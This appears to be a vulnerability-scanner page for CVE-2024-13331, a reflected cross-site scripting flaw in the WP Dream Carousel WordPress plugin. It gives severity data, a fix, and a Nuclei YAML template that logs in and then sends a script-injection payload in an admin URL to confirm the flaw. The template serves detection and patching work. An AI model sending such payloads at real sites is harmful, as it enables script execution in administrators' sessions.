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WP Dream Carousel < 1.0.1b - Cross-Site Scripting

CVE-2024-13331
Verified

Description

WP Dream Carousel WordPress plugin < 1.0.1b contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.

Severity

Medium

CVSS Score

6.1

Exploit Probability

2%

Affected Product

wp_dream_carousel

Published Date

February 6, 2026

Template Author

sourabh-sahu

CVE-2024-13331.yaml
id: CVE-2024-13331

info:
  name: WP Dream Carousel < 1.0.1b - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP Dream Carousel WordPress plugin < 1.0.1b contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.
  remediation: |
    Update to version 1.0.1b or later, where the vulnerability is fixed.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  reference:
    - https://wpscan.com/vulnerability/6425ccff-2e18-4498-b8b1-d493286efc7b/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13331
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13331
    cwe-id: CWE-79
    epss-score: 0.02069
    epss-percentile: 0.84156
    cpe: cpe:2.3:a:neoloki:wp_dream_carousel:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: neoloki
    product: wp_dream_carousel
    publicwww-query: "/plugins/wp-dream-carousel/"
  tags: cve,cve2024,neoloki,wp-dream-carousel,wordpress,wp,wp-plugin,authenticated,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wp_dream_carousel&"></script><script>alert(document.domain)</script><script>=1" HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "wp-dream-carousel")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100928cccd593e5095618a2c0e382c5dfd26fc86d8f39f7d1f7536639cb4299e95202204eb80b458d2a5a589a82547b80f8990227b4dcb6425be04b99f3d5835f2859c3:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13331
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/6425ccff-2e18-4498-b8b1-d493286efc7b/https://nvd.nist.gov/vuln/detail/CVE-2024-13331

Remediation Steps

Update to version 1.0.1b or later, where the vulnerability is fixed.